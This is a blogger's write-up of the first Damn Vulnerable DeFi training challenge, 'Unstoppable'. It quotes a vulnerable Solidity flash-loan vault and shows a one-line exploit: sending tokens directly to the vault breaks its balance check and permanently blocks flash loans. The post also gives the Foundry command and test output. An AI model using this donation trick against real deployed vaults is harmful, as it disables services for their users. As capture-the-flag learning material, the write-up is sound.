Jason Turley's Website

Damn Vulnerable DeFi - Challenge 1: Unstoppable

Recently I have been interested in web3/blockchain/smart contract auditing thanks to cts and The Auditooor Grindset. She recommended the Damn Vulnerable DeFi pwnable challenges to get up to speed on smart contract auditing. This is my solution and notes for the first challenge Unstoppable.

Challenge Intro

Intro text

The goal for this level is to “halt the vault”. In web3 lingo, halting a vault means to pause or temporarily disable it.

No transactions can occur while a vault is halted. Vaults can be halted for security or operational reasons like when the platform is undergoing maintenance or to prevent attackers from further exploiting the system.

It makes sense that an admin can perform halts, but what if any user can perform them? This would lead to a huge Denial-of-Service vulnerability. Today’s challenge is a gentle introduction into how poor programming can lead to a user halting a smart contract vault.

Source Code Analysis

We are given two Solidity files:

The UnstoppableVault.sol file contains the main logic, so let’s begin our analysis there. The file is rather small and after a couple minutes of reading the source code we see the logic for executing flash loans:


    function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (amount == 0) revert InvalidAmount(0); // fail early
        if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
        uint256 balanceBefore = totalAssets();
        if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

        // transfer tokens out + execute callback on receiver
        ERC20(_token).safeTransfer(address(receiver), amount);

        // callback must return magic value, otherwise assume it failed
        uint256 fee = flashFee(_token, amount);
        if (
            receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
                != keccak256("IERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        // pull amount + fee from receiver, then pay the fee to the recipient
        ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
        ERC20(_token).safeTransfer(feeRecipient, fee);

        return true;
    }

Using the if statements as a guide, we see that there are four checks that must be passed to execute a flash loan:

  1. The amount must not be zero
  2. We must provide only the supported currency/token/asset, which is DVT
  3. The result of convertToShares(totalSupply) and balanceBefore must be equal
  4. The callback function must match the magic value hash

If any of these checks fail, then the vault will be halted.

Which of these four checks would be the easiest to break? Option 3: if we can change the amount of tokens in the vault, then we can break the check:

        uint256 balanceBefore = totalAssets();
        if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

Exploit

To perform the exploit of writing more tokens to the vault to cause a mismatch, write the following to the Unstoppable.t.sol test file.

    function test_unstoppable() public checkSolvedByPlayer {
        require(token.transfer(address(vault), 1));
    }

Then run the test with:

forge test --mp test/unstoppable/unstoppable.t.sol

If successful, you should have passed both test cases:

Ran 2 tests for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_assertInitialState() (gas: 69704)
[PASS] test_unstoppable() (gas: 74619)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 17.84ms (936.12µs CPU time)

Ran 1 test suite in 119.29ms (17.84ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

#crypto